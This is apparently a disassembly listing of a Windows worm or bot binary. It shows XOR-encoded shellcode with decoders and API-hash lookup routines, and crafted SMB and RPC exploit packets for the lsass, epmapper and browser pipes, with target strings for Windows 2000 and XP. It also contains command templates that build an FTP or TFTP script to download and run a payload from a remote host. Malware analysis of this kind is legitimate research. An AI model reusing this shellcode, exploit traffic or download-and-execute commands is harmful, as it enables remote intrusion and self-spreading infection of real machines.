dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_4269F8 dd 20h, 0 ; DATA XREF: sub_402B7B+136o
dd 20h, 5C005Ch, 0
off_426A0C dd offset off_43005C ; DATA XREF: sub_402B7B+15Do
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
dd 0
dword_426A4C dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B7B+174o
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx: ; DATA XREF: sub_402B7B+45o
unicode 0, <FXNBFXFXNBFXFXFXFX>
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db ''
db ''
db '',0
dword_426B5C dd 18759Fh ; DATA XREF: sub_402B7B+104o
dword_426B60 dd 100139Dh ; DATA XREF: sub_402B7B+FBo
asc_426B64: ; DATA XREF: sub_4029E0+1Co
; sub_402AC3+16o
unicode 0, <\\>,0
align 4
off_426B6C dd offset byte_49005C ; DATA XREF: sub_4029E0+Co
; sub_402AC3+Bo
dd offset off_430050
dd 24h
; char unk_426B78
unk_426B78 db 2 ; DATA XREF: sub_402DCE+299o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTransferComple db ' transfer complete to IP: %s',0
align 10h
; char aSPipeEpmapper[]
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DCE+41o
align 8
jmp short loc_426BDA
; =============== S U B R O U T I N E =======================================
sub_426BCA proc far ; CODE XREF: sub_426BCA:loc_426BDAp
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_426BD2: ; CODE XREF: sub_426BCA+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_426BD2
jmp short loc_426BDF
; ---------------------------------------------------------------------------
loc_426BDA: ; CODE XREF: UPX0:00426BC8j
call near ptr sub_426BCA
loc_426BDF: ; CODE XREF: sub_426BCA+Ej
jo short loc_426C43
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_426C61
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_426C43: ; CODE XREF: sub_426BCA:loc_426BDFj
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_426C61: ; CODE XREF: sub_426BCA+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_426BCA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; char Str[]
Str db 'ë' ; DATA XREF: sub_403240+156o
; sub_403240+212o
; ---------------------------------------------------------------------------
adc [edx+4Ah], bl
xor ecx, ecx
mov cx, 17Dh
loc_426D12: ; CODE XREF: UPX0:00426D16j
xor byte ptr [edx+ecx], 99h
loop loc_426D12
jmp short loc_426D1F
; ---------------------------------------------------------------------------
dw 0EBE8h
db 3 dup(0FFh)
; ---------------------------------------------------------------------------
loc_426D1F: ; CODE XREF: UPX0:00426D18j
jo short near ptr dword_426C98+1Eh
cwde
cdq
cdq
retn
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_426DB8 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_403240+105o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_426EA0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: UPX0:00403704o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_426F2C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: UPX0:00403730o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 8
dword_426FD8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: UPX0:00403757o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_4270B8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403240+58o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_2: ; DATA XREF: sub_403240+8Ao
unicode 0, <C$>,0
a????? db '?????',0
dd 0
dword_42711C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403240+2AAo
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_427188 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403240+2D1o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42722C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403240+3B0o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_4272AC dd offset loc_401495 ; DATA XREF: sub_403240+3DEo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_427340 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403240+306o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_4273AC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403240+331o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_427420 dd 0 ; DATA XREF: sub_403240+35Fo
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 3 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 10h
dword_4274E0 dd 1004600h ; DATA XREF: sub_403240+140r
; sub_403240+245r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
; char aS_6[]
aS_6 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_4030DF+102o
; sub_405145+DFo ...
align 10h
; char aEchoOpenSDOEch[]
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
; DATA XREF: sub_4030DF+BEo
db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
align 4
; char aTftpISGetS[]
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030DF+97o
dword_427620 dd 6EB06EBh, 0 ; DATA XREF: sub_403240+177o
; char aSIpc[]
aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_403240+27o
; sub_404950+33o
align 4
dword_427634 dd 1CEC8166h ; DATA XREF: sub_403240+Dr
dword_427638 dd 0E4FF07h ; DATA XREF: sub_403240+16r
byte_42763C db 90h ; DATA XREF: sub_403A87+B2o
db 42h, 90h, 42h
db 90h
dd offset word_429042
align 4
dword_427648 dd 10FF8h, 0 ; DATA XREF: sub_403A87+6Ao
dword_427650 dd 10FF8h ; DATA XREF: sub_403A87+79o
dword_427654 dd 7FFDF020h, 0 ; DATA XREF: sub_403A87+162o
dword_42765C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_403EB1+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4276E4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403EB1+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_427714 dd 0 ; DATA XREF: sub_403EB1+44o
dd 800000D4h, 0
unk_427720 db 81h ; ; DATA XREF: sub_403F8B+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_42776C db 41h ; DATA XREF: sub_404029+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 10h
; =============== S U B R O U T I N E =======================================
sub_4277B0 proc near ; DATA XREF: UPX0:00404306o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_4278AC
push dword ptr [esi]
push 63D61209h
call sub_4278C2
mov [esi+8], eax
call sub_427875
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_4278C2
mov [esi+0Ch], eax
call sub_427827
push dword ptr [esi+4]
push 4C0297FAh
call sub_4278C2
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_4277B0 endp
; =============== S U B R O U T I N E =======================================
sub_427827 proc near ; CODE XREF: sub_4277B0+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_427850
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_427827 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_427850 proc near ; CODE XREF: sub_427827+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_42785F: ; CODE XREF: sub_427850+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_42786C
inc ebx
jmp short loc_42785F
; ---------------------------------------------------------------------------
loc_42786C: ; CODE XREF: sub_427850+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_427850 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_427875 proc near ; CODE XREF: sub_4277B0+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_42788D: ; CODE XREF: sub_427875+1Ej
cmp [ecx], ebx
jz short loc_427895
mov ecx, [ecx]
jmp short loc_42788D
; ---------------------------------------------------------------------------
loc_427895: ; CODE XREF: sub_427875+1Aj
mov edx, edi
loc_427897: ; CODE XREF: sub_427875+2Aj
cmp [edx+4], ebx
jz short loc_4278A1
mov edx, [edx+4]
jmp short loc_427897
; ---------------------------------------------------------------------------
loc_4278A1: ; CODE XREF: sub_427875+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_427875 endp
; =============== S U B R O U T I N E =======================================
sub_4278AC proc near ; CODE XREF: sub_4277B0+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_4278AC endp
; =============== S U B R O U T I N E =======================================
sub_4278C2 proc near ; CODE XREF: sub_4277B0+16p
; sub_4277B0+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_4278D8: ; CODE XREF: sub_4278C2+33j
jecxz short loc_427912
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_4278E5: ; CODE XREF: sub_4278C2+2Dj
lodsb
cmp al, ah
jz short loc_4278F1
ror edi, 0Dh
add edi, eax
jmp short loc_4278E5
; ---------------------------------------------------------------------------
loc_4278F1: ; CODE XREF: sub_4278C2+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_4278D8
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_427912: ; CODE XREF: sub_4278C2:loc_4278D8j
; sub_4278C2:loc_427912j
jmp short loc_427912
sub_4278C2 endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
sub_427918 proc near ; DATA XREF: UPX0:004042B6o
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_42796A
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_427935: ; CODE XREF: sub_427918+38j
jecxz short loc_427965
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_427940: ; CODE XREF: sub_427918+32j
lodsb
test al, al
jz short loc_42794C
ror edx, 0Dh
add edx, eax
jmp short loc_427940
; ---------------------------------------------------------------------------
loc_42794C: ; CODE XREF: sub_427918+2Bj
cmp edx, [esp+arg_0]
jnz short loc_427935
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_427965: ; CODE XREF: sub_427918:loc_427935j
mov [esp+arg_0], ebx
retn
sub_427918 endp
; =============== S U B R O U T I N E =======================================
sub_42796A proc near ; CODE XREF: sub_427918+7p
; FUNCTION CHUNK AT 004279A2 SIZE 00000007 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_427983
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_42798E
; ---------------------------------------------------------------------------
loc_427983: ; CODE XREF: sub_42796A+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_42798E: ; CODE XREF: sub_42796A+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_4279A2
sub_42796A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_427995 proc near ; CODE XREF: sub_42796A:loc_4279A2p
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_427995 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42796A
loc_4279A2: ; CODE XREF: sub_42796A+29j
call sub_427995
loc_4279A7: ; DATA XREF: sub_403A2C+1Bo
; sub_40EE51+819o
add [ebx], ah
; END OF FUNCTION CHUNK FOR sub_42796A
; ---------------------------------------------------------------------------
db 3 dup(0)
; char dword_4279AC[]
dword_4279AC dd 60h ; DATA XREF: sub_403A87+320o
; char dword_4279B0[]
dword_4279B0 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A87+2F5o
; char dword_4279BC[]
dword_4279BC dd 30h ; DATA XREF: sub_403A87+2CAo
; UPX0:0042EA08o
; char dword_4279C0[]
dword_4279C0 dd 0A1h ; DATA XREF: sub_403A87+29Fo
dword_4279C4 dd 3 ; DATA XREF: sub_403A87+246o
; char aCccc[]
aCccc db 'CCCC',0 ; DATA XREF: sub_403A87+153o
align 10h
; char loc_4279D0
loc_4279D0: ; DATA XREF: sub_403A87+E8o
jmp short near ptr dword_4279D8
; ---------------------------------------------------------------------------
align 8
dword_4279D8 dd 0 ; CODE XREF: UPX0:loc_4279D0j
; char aCmdCEchoOpenSD[]
aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: UPX0:004042DBo
; sub_404E55+92o ...
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_427A50 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: sub_404950+2B0o
; ---------------------------------------------------------------------------
loc_427A5C: ; CODE XREF: UPX0:00427A66j
xor dword ptr [ebx+13h], 6AD31EBBh
sub ebx, 0FFFFFFFCh
loop loc_427A5C
inc edi
jz short loc_427AA3
and eax, 952CE753h
inc esp
jle short loc_427ACB
push es
lahf
cmp bl, [eax+2Fh]
xchg edx, [ebp+1FC36FAFh]
cmp al, 0E1h
; ---------------------------------------------------------------------------
dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
lahf
cmps byte ptr ss:[esi], byte ptr es:[edi]
loc_427AA3: ; CODE XREF: UPX0:00427A69j
mov [eax], esi
inc ecx
imul dword ptr [ebx+50h]
js short near ptr loc_427B02+1
lock xchg ax, bp
; ---------------------------------------------------------------------------
dw 768Ch
dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
dd 0C7CF6E30h
; ---------------------------------------------------------------------------
loc_427AC8: ; CODE XREF: UPX0:00427AF5j
xor [esi-25h], bl
loc_427ACB: ; CODE XREF: UPX0:00427A71j
xor al, 0D3h
nop
popf
db 64h
push edi
dec esi
sub al, 0BCh
mov al, ch
mov ch, 39h
fnsave byte ptr [esi-20h]
pop eax
shr dword ptr [ecx-60h], cl
pop eax
in al, 4Ah
sub al, 0BAh
loc_427AE4: ; CODE XREF: UPX0:00427B17j
rcl ebp, cl
db 3Eh
xchg eax, esi
or byte ptr [esi+2Ch], 0BCh
in al, 97h
db 36h
or al, 3Ah
rep fld tbyte ptr [eax-12h]
jz short loc_427AC8
xchg eax, ebp
imul esi, [esi+0Ah], 63h
dec esi
mov bl, 84h
xchg eax, ebp
insd
dec ebp
loc_427B02: ; CODE XREF: UPX0:00427AA9j
cmp byte ptr [ecx], 0E8h
dec ebp
nop
cmp eax, edi
dec ebp
sub al, 0BAh
fnsave byte ptr [esi-2Dh]
paddusw mm1, qword ptr [ebp+5Ah]
mov ebp, [esi]
jbe short loc_427B8E
jo short loc_427AE4
fld dword ptr [ebp+edx*4+3BC3746Dh]
out dx, al
loope near ptr loc_427B25+1
add bl, [edi]
loc_427B25: ; CODE XREF: UPX0:00427B21j
mov bl, 0FDh
sub esp, 0FFFFFFE1h
add eax, 3E1EE39h
add bl, [esi+57h]
push ebp
and ebp, esp
loope near ptr loc_427B3A+2
cmp ch, bh
dec edx
loc_427B3A: ; CODE XREF: UPX0:00427B35j
xchg dl, [ebp-72447295h]
retn 0AAD8h
; ---------------------------------------------------------------------------
db 3Dh
dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh
dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
db 44h, 0C8h
; ---------------------------------------------------------------------------
loc_427B8E: ; CODE XREF: UPX0:00427B15j
mov ecx, 2C294495h
mov edx, 0E92F4930h
jg short loc_427C14
sub al, 0BCh
jmp near ptr 54447F82h
; ---------------------------------------------------------------------------
db 0D0h, 33h, 0Ah
dd 9505E1E8h, 6AD31E6Bh, 0
dword_427BB0 dd 0EFFFC481h, 44FFFFh, 427BFCh ; DATA XREF: sub_404950+297o
dword_427BBC dd 42Ah ; DATA XREF: sub_404950+24Ar
dword_427BC0 dd 3E8h ; DATA XREF: sub_404950+2BBr
dword_427BC4 dd 258h ; DATA XREF: sub_404950+28Dr
byte_427BC8 db 0 ; DATA XREF: sub_404950+1F6r
; sub_404950+2C4r
align 4
dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)"
dd 2C6h, 264h, 0
dd 1
dword_427BE0 dd 20804h ; DATA XREF: sub_404854r
; sub_404950+2E2o ...
aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: UPX0:00427BCCo
align 4
dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
dd 532D3050h
; ---------------------------------------------------------------------------
loc_427C14: ; CODE XREF: UPX0:00427B98j
push eax
xor al, 29h
loc_427C17: ; DATA XREF: sub_404950+21Eo
add bl, ch
add al, [eax]
; ---------------------------------------------------------------------------
db 0
align 10h
dword_427C20 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: sub_404950+14Eo
dword_427C34 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: sub_404950+F2o
; char aSPipeBrowser[]
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: sub_404950+81o
align 4
; char a_[]
a_: ; DATA XREF: sub_404950+10o
; sub_40637D+24Do
unicode 0, <.>,0
